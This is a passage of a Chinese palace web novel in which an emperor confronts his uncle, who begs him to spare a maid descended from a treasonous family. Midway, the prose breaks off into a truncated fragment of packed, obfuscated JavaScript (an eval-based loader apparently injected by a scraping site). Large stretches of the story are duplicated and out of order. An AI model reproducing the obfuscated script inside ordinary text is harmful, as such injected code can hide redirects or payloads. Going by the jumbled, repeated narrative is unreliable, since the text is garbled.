宋闻璟目光一路上移对上沈翊那双略显阴沉的眸子,随之不禁动作一顿,还未等往后退,头顶上那把伞便率先落了下来,砸在头上冰凉的雨水向周围四溅,头顶又凉又疼,宋闻璟不由得手一松,摸上被砸的地方,顺势往后退了两步。 伞滚落在身后,宋闻璟没注意,往后踉跄了两步,差点踩空坐下去。 身前,房门大开,门外的凉意止不住地往里面涌进来,随之沈翊缓缓迈过门槛,稳稳站在宋闻璟跟前。 宋闻璟抬头看着他,张了张嘴还没来得及说点什么,只听到沈翊的声音随门外的雨声一并灌进耳朵里。 “皇叔不是在等朕吗?关门干什么?” 闻言,宋闻璟不由得僵在原地愣了半晌,随之又张口问道:“你来干什么?是不是想问我记起什么来了?” “一小部分。”沈翊道,“记不起来就算了,朕原本想问皇叔关于从前的一些私事,但现如今都过去这么多年了,皇叔即使没失忆,说不定也记不清多少了。” 宋闻璟不解道:“那你想问什么?如果我知道,我会告诉你,但你知道后,能不能也答应我一件事。” 话音落,沈翊明显顿了下,看着宋闻璟一副正经的样子,不由得问道:“想让朕答应什么?” 宋闻璟垂了下眸子,心里躁动的不安也在沈翊的这一句话后,彻底化为一潭平静的死水,虽然不知道沈翊最后答不答应,但话都摆在自己面前了,总要试上一下。 他抬起头,却不敢直视的沈翊眼睛,“陛下能不能放过这府里的一个人?” “嗯?”沈翊愣了下,心里诧异着不知道宋闻璟为什么会这么问,但还是想追问个清楚,“谁?” 宋闻璟道:“她叫香凌,是个很好很好的小姑娘,她从没做过什么,还望陛下别将她牵扯进来。” “就是那个跟在你旁边的小侍女?”沈翊顿了下,见宋闻璟微微点头,随后又若有所思道:“朕怎么听说几年前,皇叔从外面偷偷带回来了个女人,而且还是从通敌叛国的秦府带回来的,从前能让皇叔冒这大的险,现在还能让皇叔执意护住的这个人难不成就是几年前留下的叛国余孽?” “如果真是这样,那这人非死不可,而皇叔,你就是罪加一等,让你死十遍都不够。” “你……” 这段话,让宋闻璟突然回想起什么,脑袋里还没想清楚沈翊是怎么知道的,但身体却已经在沈翊话音落下的瞬间,下意识般地跪了下去。 他不知道该辩解什么,事实总会被人发现,可香凌无辜,他想求沈翊放过香凌,但却又不知道自己这条根本不值当的命能不能给香凌换来一线生机。 双腿微微一弯,膝盖还没等落在地上,只感觉一双宽大有力的手穿过自己的腋下,将自己稳稳当当地提了起来,就像是提起一只三个月般大的小狗崽一样简单。 宋闻璟还没反应过来,又被按在一旁的凳子上,抬眸只见眼前沈翊笑了笑,又道:“这就迫不及待承认了?先别这么着急跪,朕还没把话说完。” “还要说什么?”宋闻璟偏过头,丝毫没什么兴趣再听沈翊说些什么,现在香凌身世被暴露出来,罪臣之身又怎么能活的长久,而且沈翊肯定也不会容下她。 这般想着,沈翊突然凑了上来,悠悠道:“既然你想保她,朕也可以答应你,不过……” 话到一半戛然而止,宋闻璟心跳的不行,见沈翊不再说话,便忍不住扭头看他,随之猛然站起身追问道:“不过什么?为什么不继续说了?” 沈翊依旧不应,只见往后退了两步,转过身往外走好几步。 宋闻璟以为沈翊要走,连忙跟上前,拽住他的衣角将沈翊拦下,道:“你先别走,把话说完,你还想要什么?” 闻言,沈翊回过头,两人目光交汇,宋闻璟率先败下阵来,他垂下头,渐渐松开了手,他这才发现,自己本就什么都没有,他还能给沈翊什么? “朕不走。”沈翊突然开口,“有点冷,朕先把门关上。” “嗯?好。”宋闻璟点点头,但看着沈翊走向前的背影,还是忍不住跟着迈了一步出去,怕沈翊在骗他,就这般走了,错过了这次跟他见面的机会,不知道以后沈翊还会不会再来。 想罢,宋闻璟又往前走了几步。 沈翊站在门口,目光一斜,余光中看见了江三和江五的身影,沈翊扭头看了两人一眼,随后便将门关上了。 而屋外的两人,像是察觉到了什么,随之转身退了下去。 沈翊关好门,正准备转身往回走,却不料迎面差点撞上宋闻璟,而后者只是静静地站在自己身后,约莫一臂的距离。 而这个距离,说实话有点近,按从前来说,自己不可能没有防备,若真是这般,自己 eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音落,沈翊看着眼前莫名有些拘谨地宋闻璟,不由得勾了勾嘴角,随后侃侃而谈道:“自然,朕总不能平白无故地就这么答应你。” 宋闻璟垂下头,心想也不是不无道理,毕竟天下没有免费的午餐,但沈翊还想干什么,他摸不清。 而在下一秒,沈翊略显温和的嗓音像一片柔软的羽毛轻飘飘地落到宋闻璟耳边,引起一阵难忍的痒意,将宋闻璟飘远的思绪拉回。 宋闻璟听见他道:“不是皇叔说,朕问什么,皇叔就答什么吗?” 闻言,宋闻璟不仅心中一紧,随后扭头看了他一眼,道:“你想问什么?除了从前的事,如果我知道,我会告诉你。” 顿了一下,宋闻璟又补充道:“绝不会骗你。” “那好啊。”沈翊笑了一声,“朕问的,皇叔自己肯定最清楚。” “为什么?” 听着沈翊如此确信,宋闻璟不禁顰眉疑惑道。 而旁边的沈翊却只是一昧地开口问道:“这么多天不见,皇叔心里是不是也想朕了?”多日不见,沈翊身上明显多了几分锐利且沉稳的气质,一身玄衣烫金碎纹圆领袍衬得人尊贵文雅气场十足,也敛去了独属于少年的青涩。 而彼时不经意间地对视,沈翊漆黑的眸子如同在冰天雪地间漂浮在水面上的冰山,冰冷间又透着些许柔情,不会让人觉得太过难以接近,但通常眼神中的实际意思,却是让人难以捉摸。 一瞬间,飘着阵阵寒意的目光略过层层雨幕落在宋闻璟身上。 可却又在下一秒,这座漂浮在水面上的冰山开始慢慢融化,清透明亮的眸子渐渐燃起了暖意,沈翊眉眼一弯,浅笑了下,随之脚下的步子迈的急了些。 宋闻璟不知道为什么沈翊会在这个时候来,但看着沈翊离得越来越近,心里止不住地慌乱起来。 脑袋里思绪纵横交错,宋闻璟下意识般地想要关门,觉得沈翊或许不一定是来找自己的,可能是来找送进来的那四个人,自己就当什么也没看见,等沈翊一走,自己就去找香凌,不管沈翊一会儿要做什么,自己都要沉住气。 这般想着,宋闻璟刚把门即将推上,门上不知道卡住了什么东西,在两门相距一拳的距离时关不上了。 宋闻璟抬头,一滴水珠突然砸在自己额前不禁颤了一下,只觉得一阵冰凉,而眼前,一把收起的伞不知何时插在门上。 等宋闻璟再回过头,沈翊已然站在门口,玄色的外衣被雨水侵湿变得更加深沉,额前被打湿的碎发也粘在一起一缕一缕地挂在脸上,而残留在脸上的雨滴也顺着脸颊滑下来。 宋闻璟目光一路上移对上沈翊那双略显阴沉的眸子,随之不禁动作一顿,还未等往后退,头顶上那把伞便率先落了下来,砸在头上冰凉的雨水向周围四溅,头顶又凉又疼,宋闻璟不由得手一松,摸上被砸的地方,顺势往后退了两步。 伞滚落在身后,宋闻璟没注意,往后踉跄了两步,差点踩空坐下去。 身前,房门大开,门外的凉意止不住地往里面涌进来,随之沈翊缓缓迈过门槛,稳稳站在宋闻璟跟前。 宋闻璟抬头看着他,张了张嘴还没来得及说点什么,只听到沈翊的声音随门外的雨声一并灌进耳朵里。 “皇叔不是在等朕吗?关门干什么?” 闻言,宋闻璟不由得僵在原地愣了半晌,随之又张口问道:“你来干什么?是不是想问我记起什么来了?” “一小部分。”沈翊道,“记不起来就算了,朕原本想问皇叔关于从前的一些私事,但现如今都过去这么多年了,皇叔即使没失忆,说不定也记不清多少了。” 宋闻璟不解道:“那你想问什么?如果我知道,我会告诉你,但你知道后,能不能也答应我一件事。” 话音落,沈翊明显顿了下,看着宋闻璟一副正经的样子,不由得问道:“想让朕答应什么?” 宋闻璟垂了下眸子,心里躁动的不安也在沈翊的这一句话后,彻底化为一潭平静的死水,虽然不知道沈翊最后答不答应,但话都摆在自己面前了,总要试上一下。 他抬起头,却不敢直视的沈翊眼睛,“陛下能不能放过这府里的一个人?” “嗯?”沈翊愣了下,心里诧异着不知道宋闻璟为什么会这么问,但还是想追问个清楚,“谁?” 宋闻璟道:“她叫香凌,是个很好很好的小姑娘,她从没做过什么,还望陛下别将她牵扯进来。” “就是那个跟在你旁边的小侍女?”沈翊顿了下,见宋闻璟微微点头,随后又若有所思道:“朕怎么听说几年前,皇叔从外面偷偷带回来了个女人,而且还是从通敌叛国的秦府带回来的,从前能让皇叔冒这大的险,现在还能让皇叔执意护住的这个人难不成就是几年前留下的叛国余孽?” “如果真是这样,那这人非死不可,而皇叔,你就是罪加一等,让你死十遍都不够。” “你……” 这段话,让宋闻璟突然回想起什么,脑袋里还没想清楚沈翊是怎么知道的,但身体却已经在沈翊话音落下的瞬间,下意识般地跪了下去。 他不知道该辩解什么,事实总会被人发现,可香凌无辜,他想求沈翊放过香凌,但却又不知道自己这条根本不值当的命能不能给香凌换来一线生机。 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宋闻璟不解:“什么意思?你还想要什么,只要我能给的,我都可以给你,只要你能答应。” 话音落,沈翊看着眼前莫名有些拘谨地宋闻璟,不由得勾了勾嘴角,随后侃侃而谈道:“自然,朕总不能平白无故地就这么答应你。” 宋闻璟垂下头,心想也不是不无道理,毕竟天下没有免费的午餐,但沈翊还想干什么,他摸不清。 而在下一秒,沈翊略显温和的嗓音像一片柔软的羽毛轻飘飘地落到宋闻璟耳边,引起一阵难忍的痒意,将宋闻璟飘远的思绪拉回。 宋闻璟听见他道:“不是皇叔说,朕问什么,皇叔就答什么吗?” 闻言,宋闻璟不仅心中一紧,随后扭头看了他一眼,道:“你想问什么?除了从前的事,如果我知道,我会告诉你。” 顿了一下,宋闻璟又补充道:“绝不会骗你。” “那好啊。”沈翊笑了一声,“朕问的,皇叔自己肯定最清楚。” “为什么?” 听着沈翊如此确信,宋闻璟不禁顰眉疑惑道。 而旁边的沈翊却只是一昧地开口问道:“这么多天不见,皇叔心里是不是也想朕了?”